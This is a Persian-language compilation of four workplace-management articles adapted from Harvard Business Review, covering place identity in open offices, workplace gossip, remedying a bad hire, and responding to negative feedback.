اهمیت «هویت مکان» در فضای کاری باز

سازمان‌ها به امید حفظ نیروهای با استعداد خود، تشویق به همکاری متقابل، افزایش آگاهی نسبت به تخصص‌های مختلف و تسریع در ایجاد خلاقیت و نوآوری به «محیط‌های کاری باز»[1‎]‏ روی می‌آورند. این نوع محیط‌های کاری در برخی مواقع مفید هستند اما اغلب اوقات اینگونه نیست. تحقیقات نشان می‌دهد میزان موفقیت محیط کاری جدید به احساس افراد نسبت به محیط بر می‌گردد، به این حس «هویت مکان»[2] گفته می‌شود. هنگامی ‌که هویت مکان بالا باشد، کارکنان حس تعلق و مشارکت بیشتر در کار و برقراری ارتباط بهتر با همکاران و حس تعلق به سازمان را خواهند داشت. باید راهکارهایی را جهت بهبود و ارتقای هویت مکان در محیط‌های کاری در نظر گرفت.

jan18-11-542349961-ullstein-bild-01

سازمان‌هایی مانند گوگل، فیس‌بوک، آی‌بی‌ام و ماکروسافت، میلیون‌ها دلار برای طراحی مجدد فضای کاری خود هزینه کرده‌اند. آن‌ها فضای کاری باز را جایگزین اتاق‌های خصوصی سنتی کردند و فضاهایی را برای کار تیمی اختصاص دادند. هدف آن‌ها از تغییر این فضا به اشتراک گذاری بیشتر ایده‌ها در بین کارکنان، سرعت بخشیدن به تصمیم‌گیری‌ها و مشارکت کارکنان بود.
در کنار این تصورات خوش‌بینانه، خروجی یک محیط باز می‌تواند مخلوطی از نکات مثبت و منفی باشد. در برخی موارد طراحی چنین محیط‌هایی موجب افزایش همکاری، رضایت کارکنان و تسریع ارتباطات می‌شود. اما از بعدی دیگر این محیط‌های جدید حواس پرتی و عدم تمرکز را افزایش می‌دهند، حریم خصوصی و اختیارات افراد را کاهش می‌دهند و در نتیجه بهبود رضایت و انگیزه کارکنان را زیر سوال می‌برند.
طبق تحقیقات انجام شده مشکل این نوع فضاهای کاری فرای ویژگی‌های فیزیکی محیط است. مساله این است که آیا این فضای جدید با تصویر کارکنان از خودشان همخوانی دارد یا خیر، آیا حس تعلق آن‌ها را افزایش می‌دهد؟ این به معنای هویت فضای کاری است. «هویت مکان» اولین بار توسط یک روان‌شناس محیطی مطرح شد. او متوجه شد که ایجاد یک محیط خاص در پارک، موجب افزایش رفتارهای حفاظتی داوطلبانه و پرداخته هزینه‌ی ورودی بیشتر توسط مراجعین شده است.
در تحقیقات انجام شده نقش فضاهای کاری باز در شرکت‌های برتر سراسر جهان مورد بررسی قرار گرفت. نقش «هویت مکان» با میزان درک افراد از اهمیت و معنی‌دار بودن فضا برای کارکردن، احساس برقراری ارتباط با محیط، افتخار کردن به اینکه آن‌ها بخشی از این فضا هستند و اینکه این فضای کاری بازتابی از آن‌ها است، مورد سنجش قرار گرفته است. کارکنانی که هویت مکانی بالایی را احساس می‌کردند، فضای کاری خود را مشارکتی، اجتماعی، انعطاف‌پذیر، پرانرژی و راحت توصیف کردند. در حالیکه سایر افراد این نوع محیط کاری را پر سر و صدا و آشفته می‌دیدند. درواقع کارکنانی که ارتباط فردی بیشتری با فضای کاری برقرار می‎کردند، حس تعلق به سازمان و اشتیاق بیش‌تری نسبت به کار داشتند و اعتقاد داشتند ارتباطات آن‌ها با همکارانشان و مدیران از کیفیت بالاتری برخوردار است.
سه رویکرد مهم می‌تواند به مدیران کمک کند تا هویت مکانی فضای کاری را بهبود دهند و نظر کارکنان را نسبت به محیط‌های کاری جدید تغییر دهند:

1) ارائه‌ی شرح روشنی از چشم‌انداز جدید قبل از تغییر فضای کار
در حالیکه خیلی از افراد فکر می‌کنند توسعه‌ و رشد هویت مکانی باید پس از انتقال کارمندان به فضای جدید آغاز شود، تحقیقات نشان داده است که گفت و گو در مورد چشم‌انداز و هدف ایجاد فضای کاری جدید باید قبل از تغییر فضا انجام شود. این کار کلید برقراری ارتباط کارکنان با فضای کاری جدید خواهد بود.
زمانی که مدیران برای کارکنان تشریح می‌کنند که فضای کاری جدید چگونه می‌تواند سازمان را به اهداف و ماموریتش برساند، کارکنان اشتیاق بیشتری از خود نشان می‌دهند و حس بهتری نسبت به این فضای جدید و چگونگی استفاده از آن را خواهند داشت. کارکنانی که باور دارند فضای کاری برای ایجاد خلاقیت، همکاری بیش‌تر، بهبود انعطلاف‌پذیری و ترویج ارتباطات غیر رسمی ایجاد شده است، حس مثبت‌تری نسبت به فضای کاری دارند و هویت مکان را بهتر درک می‌کنند. بعد از نقل مکان به محیط جدید این افراد بیش‌تر تمایل داشتتند تا به این فضا افتخار کنند و بگویند که برایشان محیطی با معنی جهت کارکردن است.
در مقابل زمانی که چشم‌انداز روشنی از فضای جدید برای کارکنان شرح داده نشده باشد، این احتمال که آن‌ها تغییرات را راه حلی برای کاهش هزینه ببینند و در برابر آن مقاومت کنند و حس نارضایتی داشته باشند، بیش‌تر خواهد بود.
2) نشان‌دادن اشتیاق نسبت به فضای کاری جدید
روش و رفتار مدیران بعد از انتقال به فضای کاری جدید نیز، منبع اطلاعاتی مهمی درباره‌ی چگونگی هماهنگی محیط با نوع کار است. تحقیقات نشان‌ می‌دهد، وقتی مدیران نگاهی مثبت داشته باشند، هویت مکان رشد پیدا می‌کند. اما زمانیکه رفتاری بی‌طرفانه یا منفی از خود نشان دهند، به هویت مکان آسیب می‌زنند و احتمال اینکه کارکنان حس مثبتی به فضای کاری جدید نداشته باشند، بیش‌تر است.
در خیلی از مواقع خود مدیران نیز از دفاتر خصوصی خود که بازگو کننده‌ی قدرت آن‌ها بود، وارد محیط‌های کاری باز شده‌اند و در کنار سایر اعضای تیم قرار گرفته‌اند. اگر آن‌ها پیام مثبتی نسبت به فضای جدید منتقل کنند و اشتیاق خود را نشان دهند، کارکنان نیز احساس بهتری خواهند داشت.
3) تشویق کارکنان به انطباق فضای کار با نیازهای کاری
زمانیکه کارکنان دارای آزادی عمل برای شخصی‌سازی فضای کاری باشند، حس بهتری نسبت به هویت مکان خواهند داشت. فضاهایی که از تنوع رنگی بیشتری برخوردارند و از تصاویر و نقاشی در آن‌ها استفاده شده است و مبلمان آن با توجه به نیازهای تیم تهیه شده باشد و چیدمان آن قابل تغییر باشد، حس بهتری به افراد منتقل می‌کند. برخی تیم‌ها با توجه به نیازهای کاری خود و اینکه آیا احتیاج به همکاری و انجام کار تیمی دارند یا نیاز به محیطی خصوصی، ممکن است بخواهند چیدمان میزهای خود را تغییر دهند.
مدیران باید بین کمک کردن به افراد جهت استفاده از فضای کاری و اینکه چگونه می‌توان این فضا را برای آن‌ها بهبود ببخشند، تعادل برقرار کنند. برا مثال اگر کارمندی معتقد است فضای کاری او بیش از حد پر سر و صدا است، به جای شکایت باید او را تشویق کرد تا با اعمال تغییرات، فضا را برای خود مناسب‌تر کند. زمانیکه مدیران و رهبران تشویق به انطباق‌پذیری‌ می‌کنند، تیم‌ها احساس راحتی بیش‌تری خواهند کرد تا فضا را از خودشان بدانند. در نتیجه هویت مکانی برای آن‌ها افزایش یافته و حس بهتری نسبت به ویژگی‌های فضای جدید مانند حریم خصوصی، سر و صدا و روشنایی محیط خواهند داشت.
 نتیجه‌گیری
یافتن یک راه‌حل بی عیب و نقص برای طراحی فضای کاری جدید، کاری پیچیده است. مطالعات انجام شده نشان می‌دهد، در حالی که ویژگی‎های فیزیکی محیط فاکتور مهمی‌ است، مدیران و رهبران باید به «هویت مکان» نیز به همان اندازه توجه داشته باشند. هویت مکان نه تنها بر حس افراد بلکه بر درک آن‌ها از ویژگی‌های فیزیکی محیط نیز تاثیر می‌گذارد. هنگامی که مدیران ارزش و چشم‌انداز فضای جدید را از قبل توصیف می‎کنند، به مانوس شدن کارکنان و قبول فضای کاری جدید کمک می‎کنند. این امر فواید سرمایه‌گذاری در بازطراحی فضاهای کاری را نیز افزایش خواهد داد.

[1] open offices

[2] place identity

برگرفته از: Harvard Business Review, JANUARY 11, 2018

https://goo.gl/GVWJY5

 

 

حرف زدن پشت سر همکاران خود را متوقف کنید

زمانی که از افراد درباره غیبت کردن و شایعه‌­پراکنی در محل کار می‌­پرسیم، آن­ها چنین واکنش نشان می‌دهند که «قطعا ما در چنین بحث‌­هایی شرکت نمی­‌کنیم» و با چهره‌ه­ای حق به جانب این پرسش را توهین‌آمیز تلقی می­‌کنند. اما وقتی نوع پرسش را تغییر می­‌دهیم و بحث شرکت در یک «گفت و گوی تاییدی[1]» را مطرح می‌­کنیم، شرایط متفاوت می‌­شود. محتوای گفت و گوهای تاییدی و شایعه‌پراکانه شامل موارد زیر است:

  • گرفتن تایید دیگران در مورد داشتن روابط کاری چالش‌­برانگیز و تجارب شخصی منفی در هنگام کار با یکی از همکارانتان که در آنجا حضور ندارد
  • پرس و جو و کنکاش دربار­ه­‌ی همکاری که در حال حاضر در محل کار خود نیست

اکثر افراد انجام چنین مواردی را تایید می‌کنند و آن را جزو برنامه­‌ی روزانه­‌ی کاری خود می‌دانند.

ytdr

اکثر مدیران و رهبران این رفتارها را معمولی و نوعی «آرام شدن[2]» می‌­پندارند و به آن به چشم تایید داده­‌های عملکردی افراد می‌نگرند، اما این رفتارها نوعی شایعه‌­پراکنی در محیط کار است.

محققین شایعه‌پراکنی را «صحبت غیر رسمی و ارزیابی­‌کننده‌ در مورد شخصی که در سازمان حضور ندارد و در میان گروهی از افراد رخ می‌دهد» تعریف می‌کنند.

از اثرات مخرب این شایعات ‌می‌­توان به، کاهش اعتماد و روحیه افراد، ضربه‌­زدن به اعتبار فردی و حرفه‌ای افراد، آسیب­‌های روحی و افزایش اضطراب اشاره کرد. برای افرادی که تمایلی به دادن بازخور مستقیم و گفت و گو با همکاران خود ندارند، غیبت­‌کردن نوعی راه فرار است. با صحبت کردن و انتقاد از رفتار دیگران درغیاب آن‌ها، فرصت برقراری یک رابطه‌­ی درست و استفاده از فرهنگ غنی بازخور دادن را از دست می‌­دهید.  معمولا از این شا­یعات به عنوان راهی برای جمع‌­آوری شواهد جهت خوراک تفکرات و اعتقادات خود استفاده می­‌کنیم.

ترک عادت غیبت کردن و شایعه­‌پراکنی در محیط کار، کارسختی است زیرا حس تایید شدن نظرات، رضایت­‌بخش است. همچنین صحبت کردن پشت سر دیگران از بازخور دادن به آن‌ها و بحث‌­کردن رودررو، کار راحت­‌تری است. اما استراتژی­‌های متعددی وجود دارد که می‌­تواند به ترک این عادات کمک کند:

  • ابتدا باید قبول کنید که نام این نوع صحبت­‌ها، غیبت­‌کردن است تا بتوانید آ­ن را متوقف کنید.

اگر گفت و گوهای غیر رسمی در غیاب افراد صورت گیرد و هدف از آن­‌ها تایید برداشت­‌های شخصی ما باشد نه یافتن یک راه ­حل سازنده، پس شما در شایعه‌­پراکنی و غیبت کردن در محیط کار مشارکت کرده­‌اید.  می‌­توان جهت این نوع از گفت­ و گوها را با پرسیدن دو سوال تغییر داد:

اول اینکه از طرف مقابل خود بپرسید « این نوع صحبت شما مانند غیبت کردن است، آیا نیت شما چیز دیگری است؟» دوم اینکه بگویید «چگونه می‌­توانم برای رسیدن به خروجی بهتر، به شما کمک کنم؟»

بهتر است در بحث‌های مفیدتری مانند جلسات طوفان فکری، حل مساله و مربی گری در محیط کار شرکت کرد تا اتلاف وقت و مشارکت در تایید یک مشکل و شایعه‌پراکنی.

  • از خود و دیگران بپرسید که چرا احتیاج دارید تا رفتاری که در دیگران دیده‌­اید را شخص دیگری تایید کند.

اگر هدفتان از این کار گرفتن تایید دیگران در مورد برداشت‌های شخصی خود و حمایت از نظریات شما است، نباید دیگران را در این نوع بحث و گفت و گوها شریک کنید.

  • یک سیاست تحت عنوان «اگر با من مشکلی دارید، لطفا آن را با خودم مطرح کنید» را برای خود اتخاذ کنید و دیگران را از آن مطلع سازید.

اگر فردی نیز شروع به شایعه پراکنی درباره‌­ی شخص دیگری کرد به او یادآور شوید که «آیا قبلا با خود این فرد صحبت کرده‌­اید؟ و مشکل ایجاد شده را با او درمیان گذاشته‌اید؟ » و این سیاست را به او یادآور شوید.

  • محیطی باز برای دادن بازخور فراهم کنید.

هرچه بیشتر بازخور دادن (چه بازخور مثبت و چه منفی) را در محیط کار رواج دهید، افراد کمتر به دنبال روش­‌های جایگزین برای ابراز ناراحتی و نگرانی خود هستند. بهتر است بازخور دادن را به جلسات بررسی عملکرد سالانه موکول نکنید و آن را در دستورکار جلسات ماهانه خود نیز قرار دهید.

نتیجه‌گیری

حرف زدن پشت سر دیگران و ترویج برداشت‌های شخصی از رفتار دیگران، یک استراتژی ارتباطی مخرب است که تاثیر منفی بر روی  افراد، تیم‌­های کاری و کل سازمان می­‌گذارد. با متوقف کردن چنین رفتارهایی و جایگزین کردن روش‌­های ارتباطی مفیدتر و سالم‌­تر، رواج فرهنگ مشارکت کردن در حل مساله و بازخور دادن، می‌­توان به رشد و شکوفایی روابط و سازمان کمک کرد.

 

[1] confirmation expedition

[2] blowing off steam

برگرفته از : Harvard Business Review

https://goo.gl/Y7pZRQ

راه‌های جبران یک «استخدام بد»

بخش قابل توجهی از استخدام‌های انجام شده ممکن است موفقیت آمیز نباشند. اگر شما فردی را استخدام کنید که عملکرد وی منجر به کاهش راندمان تیمتان شود، چه می­‌کنید؟

بهتر است در ابتدا گفت و گویی مستقیم و شاید کمی ناراحت­‌کننده با وی انجام دهید. کارمند شما باید بداند که چگونه از پس انجام وظایف و انتظارات بر نیامده­ است تا بتواند عملکردش را اصلاح کند. سعی کنید وضعیت را با دادن بازخورهای روشن و مشخص اصلاح کنید. اگر این کار موفقیت‌­آمیز نبود، وظایف وی را تغییر دهید و نقش دیگری در سازمان که فکر می­‌کنید برای او مناسب‌­تر است را به او واگذار کنید.

معمولا در این شرایط انجام چنین کارهایی، کم­‌هزینه­‌تر از اخراج نیرو است. اما اگر در آخر مجبور به اخراج شدید، سعی کنید پیشنهادات خروج خوب و مناسبی به افراد ارائه دهید.

pop

رهایی از «استخدام بد[1]»

گاهی اتفاق می‌­افتد که یک نفر دارای شرایط مناسب جهت استخدام است و بعد از طی روند مصاحبه او را جذب می‌کنیم. بعد از استخدام اوضاع تغییر می­‌کند و مشکلات غیرمنتظره‌­ای رخ می­‌دهد.

در این صورت با شرایط دشواری مواجه خواهید شد که نمی‌دانید از یک سو با کارمندی که توانایی انجام درست کار را ندارد و به تیم آسیب می‌­زند، کنار بیایید یا اینکه بپذیرید اشتباه قابل توجهی کرده‌­اید. معمولا در این شرایط انجام تغییرات، کم­ هزینه‌­تر خواهد بود و به محض اعمال آن‌ها اوضاع بهتر خواهد شد. هر چند کنار آمدن با یک استخدام بد، آسان نیست اما ممکن است با ایجاد تغییراتی بتوانید شرایط را بهبود دهید.

  • انجام یک گفت­ و گوی مستقیم و احتمالا ناراحت کننده با نیروی جدیدالاستخدام

به جای آرزوکردن برای داشتن بهترین افراد و یا تلاش برای عدم رودررویی با آن‌­ها، با نیروی خود درباره­‌ی نارضایتی از کار و عملکرد نامناسبش صحبت کنید. این صحبت می‌­تواند راهی برای حل مشکل باشد. به اشترا‌‌ک­ گذاری نگرانی­‌های خود می­‌تواند منجر به کشف گزینه­‌های کارآمد شود یا حداقل بحرانی بودن شرایط را مشخص کند.

می‌­توانید بحث را با جملاتی مانند «… می­‌خواهم درباره‌­ی چند هفته­‌ی گذشته و اینکه ما در کجای مسیر هستیم و در کجاها نیاز به یک سری تغییرات داریم، صحبت کنم.»

به یاد داشته باشید که نیروهای جدید نیز ممکن است به همان مشکلاتی که شما شناسایی کرده‌اید پی برده باشند و این موقعیتی است که می­‌تواند، فضا را شفاف کند و به راه­‌حل مناسبی برسد.

  • سعی در تغییر شرایط با دادن بازخورهای مشخص و یا تغییر مسئولیت فرد

زمانی پیش­ می‌آید که فردی مناسب و پرانرژی را استخدام ­می‌­کنید، اما بعد از چند هفته کارمند جدیدتان از این صحبت می‌­کند که شغل جدیدش آن طور که تصور می­‌کرد جذاب و یا دارای پاداش خوبی نیست. در این صورت او شروع به انجام بی­‌‌دقتی در کار و عدم برخورد مناسب با مشتریان می­‌کند. بعد از برگزاری یک جلسه­‌ی بازخور با فرد مورد نظر و شرح رفتار نامناسب او، می‌­توانید متوجه دلیل عدم رضایتش از کار شوید. شاید این فرد برای کار فعلی‌­اش مناسب نیست و با انتقال وی به پست دیگری عملکرد او بهبود یابد و در کارش موفق شود. برنامه‌­های آموزشی مناسب جهت آماده­‌سازی افراد برای نقش جدیدشان و یا انتقال صحیح آن­ها به بخشی دیگر می‌­تواند یک راه­‌حل باشد.

اما ممکن است این کارها همیشه جواب ندهد. برای مثال شرکتی طی فرایند استخدام، مدیرعامل جدیدی جذب کرده بود. این فرد با پیشنه­‌ی ‌کاری دیگر و در صنعتی متفاوت فعال بود. هرچند متعهد شده بود به بازخورهای داده شده توجه کند اما نمی‌توانست مدل کسب و کار شرکت را درک کند و یا تمایلی به انطباق مهارت‌­های فنی خود نداشت.

اگر به فردی باخورهای زیادی دادید و از او تلاشی ندید و بهبود مشخصی بعد سه تا شش ماه حاصل نشد، باید خود را آماده­ی قطع همکاری با وی کنید.

  • شناسایی هزینه­ های فعلی و آتی نگهداشت یک استخدام ناموفق

بعضی اوقات مزیت­ها و یا فرصت­های پیش آمده را به دلیل داشتن تاثیر منفی بر روی سایر اعضای تیم و یا کسب و کار نادیده می­گیریم. برای مثال یک مدیر اجرایی با تجربه­ی کاری در شرکت­های بزرگ و نهادهای عمومی، به تازگی به یک شرکت کسب و کار خانوادگی ملحق شده بود. به دلیل پیشینه­ای که داشت، تصوراتش از کسب و کار شرکت فعلی، منابع و نوع تصمیم­گیری‌ها غیر واقعی بود. این عدم سازگاری باعث پرداخت هزینه­ برای شرکت شد. دادن بازخور به وی نیز کارساز نبود و جابه‌جایی او به پست دیگر نیز مشکل را حل نکرد.

در چنین شرایطی، هزینه‌های پیش روی شرکت شامل کاهش بهره‌وری و یا افزایش هزینه فرصت‌ها، کاهش مشارکت کارکنان، افزایش گردش نیروانسانی و افزایش اختلافات و تنش بین افراد خواهد بود. برخی دیگر از مشکلات مشخص‌تری که ایجاد می­‌شود، عدم اتمام کارها در موعدهای مقرر و یا کاهش کیفیت کار است. ممکن است حتی جلسات اضافه‌ی قبل و بعد از جلسه‌ی اصلی کاری را نیز افزایش دهد.

باید تمامی این هزینه­ها را با هزینه­ی قطع همکاری با نیروی جدیدالاستخدام مقایسه کرد. گاهی هم تا زمانی که با فرد جدیدالاستخدام قطع همکاری نکنید، نمی‌توانید متوجه تاثیرات منفی استخدام بد خود شوید.

  • قطع همکاری در موارد مورد نیاز

اگر روابط کاری قابل ترمیم نباشند باید به دنبال راهی مناسب برای قطع همکاری بود. می‌توان طرحی را برنامه‌ریزی کرد که هم برای شرکت و هم برای فرد سودمند باشد. صادقانه برخورد کردن و مدیریت درست، می‌تواند استخدام بد شما را جبران کند.

اگر خود فرد قبلا نارضایتی اش را بیان کرده باشد، می‌توان جلسه را با این جمله شروع کرد که «..مچکرم از اینکه درباره‌ی نگرانی خود با من صحبت کردید. شرایط فعلی تاثیر منفی‌ای نیز بر عملکرد  تیمی داشته است و امیدوارم  بتوانیم آن را طوری حل کنیم که برای همه سودمند باشد…» لازم به ذکر است که حتما قبل از انجام این کار با مدیر منابع انسانی خود مشورت کنید.

اگر می‌خواهید قاطع و مستقیم رفتار کنید به طوری که فرد غافلگیر شود، می‌توانید این طور بیان کنید که «…همانطور که قبلا بارها بحث کردیم، شخصی که شغل فعلی شما را دارد باید بتواند از عهده‌ی یک سری کارهای مشخص و اهداف تعیین شده بر بیاید. اما متاسفانه شما نتوانسته‌اید. این موضوع برای ما هم ناخوشایند است، اما قصد داریم که در این تاریخ با شما قطع همکاری کنیم و چگونگی برنامه‌ی خروج  نیز به شرح زیر می‌­باشد…»

دادن پیشنهاداتی از قبیل کمک‌­کردن در شغل‌یابی، به فرد و یا سایر کارکنان این پیام را می‌دهد که شما حسن‌نیت دارید. استثنا‌ برای عدم دادن چنین پیشنهاداتی، داشتن مشکلات اخلاقی یا رفتاری و اشتباهات مهارتی مشخص در فرد است.

هرچند اکثر شرکت‌ها چنین پیشنهادهایی مانند بازخرید و یا اتمام همکاری را زمانی مطرح می‌کنند، که فرد سابقه‌ای طولانی مدتی دارد و خدمات ارزنده‌ای به شرکت ارائه کرده است. اما در شرایط انجام یک استخدام بد، زمانی که شرکت مسئولیت تصمیم نادرست خود را قبول می‌­کند این کار به سایر افراد کمک می‌­کند تا عملکرد مناسب‌تری از خود نشان دهند.

برای همه سخت است که متوجه تصمیم اشتباه خود شوند. اما اشتباهات را باید بررسی کرد تا از تکرار دوباره‌ی آن جلوگیری شود. این امر به خصوص در زمینه‌ی استخدام مطرح است، چون نیاز به جایگزینی فرد مناسب دیگری است. اگر به سرعت برای حل مشکل اقدام کنید،‌ ممکن است فرد جدیدالاستخدام هنوز فرصت شغلی مناسبی داشته باشد یا بتواند به شغل قبلی خود بازگردد و این برای او نیز بهتر و مناسب‌تر است. همچنین شما نیز ممکن است همچنان لیستی از نامزدهای مورد نظر برای شغل را در دسترس داشته باشید.

[1] Bad Hire
برگرفته از Harvard Business Review, AUGUST 22, 2018

چگونگی برخورد با بازخور منفی

بازخور عاملی کلیدی در موفقیت مدیران و رهبران است. بازخور منفی ارزشمند‌تر است، زیرا بررسی عملکرد و اعمال تغییر را در پی خواهد داشت. اما تحلیل انتقاد منفی و واکنش نشان­‌دادن به آن کار راحتی نیست. اقداماتی مناسب می‌­تواند در رویاروی با بازخور منفی، به ما کمک کند.

2

پاسخ‌­دهی درست به بازخور منفی[1]

بازخور می­‌تواند مانند یک هدیه باشد. در سطح مدیریت و رهبری نیز امری کلیدی است. بازخور انتقادی بسیار ارزشمند است، زیرا این توانایی را به فرد می‌­دهد تا بر عملکرد خود نظارت کند و تغییرات لازم راانجام دهد. در نظر  همکاران و سایر مدیران، رهبرانی که خواهان شنیدن بازخورهای انتقادی هستند، موثرتر عمل می­‌کنند. اما مدیرانی که فقط انتظار بازخور مثبت را دارند امتیازات پایین‌­تری کسب خواهند کرد.

پردازش بازخورها و واکنش نشان دادن نسبت به آن­ها کار آسانی نیست. در مواجهه با بازخور منفی ممکن است حالت عصبانی و تدافعی بگیریم، در نتیجه عملکرد ما تحت تاثیر قرار می­‌گیرد. یک بازخور انتقادی می­‌تواند به صوررت عینی و با خلوص نیت داده شود، اما گاهی نیز ممکن است در ذات خود اشتباه و شرورانه باشد. فهمیدن اینکه کدام بازخور واقعی‌ است و کدام را باید نادیده گرفت، کاری سخت است. برای مثال همکاری که می­‌خواهد ما را از بازی قدرت بیرون کند، رئیسی که انتظاراتی غیر قابل دستیابی دارد، کارمندی که از گفتن حقیقت به مدیر خود می­ترسد و …، تشخیص درست بودن یا نبودن تمامی این­‌ها، کار دشواری است.

در مورد چگونگی گرفتن بازخورهای انتقادی مطالب زیادی بیان شده است، اما راهنمایی‌های نسبتا کمی درباره­‌ی چگونگی واکنش نشان­ دادن به آن‌ها وجود دارد. لازمه­‌ی این کار رعایت نکاتی است که به ما کمک می‌کند تا به آرامی پذیرای شنیدن بازخور منفی باشیم و بدون اینکه به اعتماد به نفس و خودباوریمان آسیب بزند با آن برخورد کنیم.

  1. نسبت به واکنش دادن عجول نباشید

از جمله واکنش‌­های نشان‌داده شده نسبت به بازخور منفی، می‌­توان به متهم کردن فرد مقابل، گریه کردن و حتی مشت‌­زدن به دیوار اشاره کرد. اما در اکثر مواقع بعد از فروکش کردن احساسات، افراد بر اساس بازخورهای داده شده، بهبود چشمگیری در رفتار و عملکرد خود ایجاد کرده‌­اند.

تمامی این واکنش­‌ها قابل درک است. زمانی که افراد بازخوری دریافت می‌­کنند که با تصویر ذهنی آن­ها در تضاد است، دچار اغتشاش درونی و هرج و مرج روانشناختی می­‌شوند. این اتفاق به خاطر این است که حس می­‌کنیم موجودیت ما تهدید شده است. حتی برای افرادی که خودآگاهی بالایی دارند شنیدن اینکه کامل نیستند، سخت است. اکثر ما سعی می‌­کنیم به خودمان فشار بیاوریم و احساساتمان را کنار بزنیم تا بتوانیم بلافاصله پاسخی دهیم. اما افراد خودآگاه شاید روزها و یا حتی هفته­‌ها به خود زمان می‌­دهند تا نگاه خصمانه­‌ی خود را نسبت به بازخور انتقادی کنار بگذارند ودر آینده به آن واکنشی مناسب نشان دهند.

باید طرز نگاه خود به بازخور را تغییر داد. یک راه مفید استفاده از تکنیک «تایید خویشتن»[2] است، یعنی سایر جنبه‌­های مثبت را به خود یادآور شویم. درکنار جنبه‌ی رفتاری که مورد حمله واقع شده است یادآوری سایر جبنه­‌های مثبت، باعث می‌شود واکنش بهتر و مناسب­‌تری نشان دهیم و پذیرای بازخورهای انتقادی باشیم. برای مثال اگر اعضای تیمتان شما را مدیری با کنترل بیش از حد می‌بینند، دیگر جنبه­‌های مثبت مدیریتی‌تان، مانند حمایت دوستانه و در دسترس بودن همیشگی را، به یاد آورید. داشتن یک تصویر بزرگ، کمک می­‌کند تا بتوانیم با بازخورها مناسب­‌تر برخورد کنیم.

 

  1. اطلاعات بیشتری کسب کنید

دیگران همیشه ما را آن‌­طور که خودمان می­‌بینیم، نمی­‌بینند. برای مثال، یک مدیر فعال که همیشه وقف کار و انجام وظایفش بود، بعد از دیدن نتایج ارزیابی عملکرد 360 درجه­، دچار سرخوردگی شد. با وجود اینکه که در تمام دوران کاری­‌اش، با حس ناامنی کاری مبارزه کرده بود، اما همکارانش او را فردی متخصام و متکبر در جلسات، ارزیابی کرده­ بودند. او هیچ ایده­‌ای از اینکه چه کاری باعث چنین برداشتی شده است، نداشت.

اما با استفاده از کمک منتقدان دلسوزتر، توانست تصویری بهتر از خود و چگونگی رفتارش، به دست آورد. او از یک فرد با عملکرد پایین به فردی ارزشمند و تاثیرگذار بدل شد. اگر زمانی را برای درک بازخوری که دریافت کرده بود نمی­‌گذاشت و آن را بررسی نمی­‌کرد، نمی­‌توانست به چنین تحول مهمی برسد.

تا زمانی که ما یک بازخور را درک نکرده باشیم، نمی‌توانیم آن را بررسی کنیم. وقتی چیز جدیدی را می‌شنویم، بهتر است از چند فرد قابل اعتماد بپرسیم، آیا آن­ها نیز چنین چیزی را متوجه شده­‌اند. انجام این کار نه تنها اطلاعات بیشتری از جزئیات رفتاریمان می­‌دهد، بلکه باعث می­‌شود بر اساس نظر یک فرد، اصلاحی اشتباه نکنیم. این نکته را باید به خاطر داشت، هر چیزی که می­‌شنویم صرفا یک نظر است نه یک واقعیت.

اما از چه کسی باید تقاضای بازخور کرد؟ مصاحبه با افرادی که خودآگاهی بالایی دارند، نشان می­‌دهد که دایره­‌ی بازخور گرفتن آن­ها نسبتا کوچک است. همیشه باید بازخور گرفت اما نه از هر فردی. به گروهی از افراد اعتماد کنید که می‌­دانید به شما حقیقت را خواهند گفت. به این اشخاص «منتقدان دلسوز»[3] می‌گوییم. این افراد تنها نزدیکان شما نیستند. یک غریبه نیز گاهی به شما بهترین اطلاعات از نوع رفتاریتان را می‌­دهد.

 

  1. یافتن یک عمل نویدبخش

حتی در صورت تغییر و بهبود رفتاری خاصی، دیگران به طور خودکار متوجه آن نمی‌­شوند. تغییر ادراک دیگران از رفتار ما سخت‌­تر از تغییر خود رفتار است. اگر وقت و انرژی خود را صرف تغییر رفتار کنیم،  برایمان ناامید کننده خواهد بود که دیگران متوجه این تغییر نشوند.

باید بر روی جلوه‌­ی عمومی و تاثیرات رفتاری خود کار کنیم. برای مثال در مصاحبه با کارکنان یک مرکز پزشکی مشخص شد که آن­‌ها از نظر روحی دچار آسیب شده‌­اند. کارکنان معتقد بودند مدیر مرکز متوجه چالش‌­های روزانه‌­ی غیرقابل تحمل و خسته­ کننده­‌ی آن­‌ها نیست. این درحالی بود که مدیر برنامه­‌ریزی .استراتژیکی را ترتیب داده بود تا به بهبود اوضاع کمک کند. اما کارکنان تغییر رفتاری او را باور نداشتند.

برای شروع مدیر تصمیم گرفت در ورودی بخش را پس از مدت‌ها خرابی، با دست­های خودش تعویض کند. کارکنان پس از دیدن این مرحله‌­ی نمادین، متوجه تغییر شدند و از او قدردانی کردند. این باعث اجرای راحت‌­تر سایر برنامه­‌ها شد.

 

  1. فکرنکنید قربانی هستید

شنیدن بازخور انتقادی می‌­تواند ما را به انزاو بکشد، اما نه فقط به دلیل اینکه موجب ناراحتی ما می­‌شود. تحقیقات نشان می‌­دهد، افراد از کسی که به آن­‌ها بازخور منفی داده است، دوری می‌­کنند. در حالی که دوری از افرادی که به ما حقیقت را می‌­گویند کار اشتباهی است. بازخور انتقادی می­‌تواند بهانه­‌ی خوبی برای تجدید نظر در مورد ارتباطاتمان باشد. منتقدان ما می‌­توانند تبدیل به قهرمانان ما شوند.

 

  1. تغییر تنها یک گزینه است

اکثر افراد موفق و جاه ­طلب فکرمی­‌کنند اگر رفتاری مانع موفقیت آن­هاست، باید آن را تغییر دهند. اما همیشه بهترین راه مدیریت، تغییر رفتار نیست. گاهی بازخور می­‌تواند کاستی­‌هایی را روشن کند که در وجود ما تنیده شده‌­اند.

برای مثال یک کارآفرین موفق در ارزیابی 360 درجه­ متوجه شد که همکارانش در بخش مهارت ارتباطی به او پایین‌­ترین نمره را داده­‌اند. بعد از بررسی بازخورهای داده شده و تحلیل آن­‌ها به این نتیجه رسید که او هر چقدر هم که تلاش کند، نمی‌تواند از نظر دیگران فردی خوش ­­برخورد و جذاب باشد. تصمیم گرفت مساله را با تیم خود درمیان بگذارد و به آن­ها بگوید شاید رهبری با ارتباطات قوی و مطلوب آن­ها نباشد، اما برخی رفتارها یک نقص شخصی است و به دلیل اهمیت ندادن به آن­ها و یا ارزش قائل نشدن برای کارکنانش نیست. در آخر برای مدیریت این مشکل از آن­ها کمک خواست. کارکنان از این صحبت­ها متعجب شدند اما با گذشت زمان به مدیر خود اعتماد بیشتری کردند و  روابط بین آن‌­ها بهبود یافت.

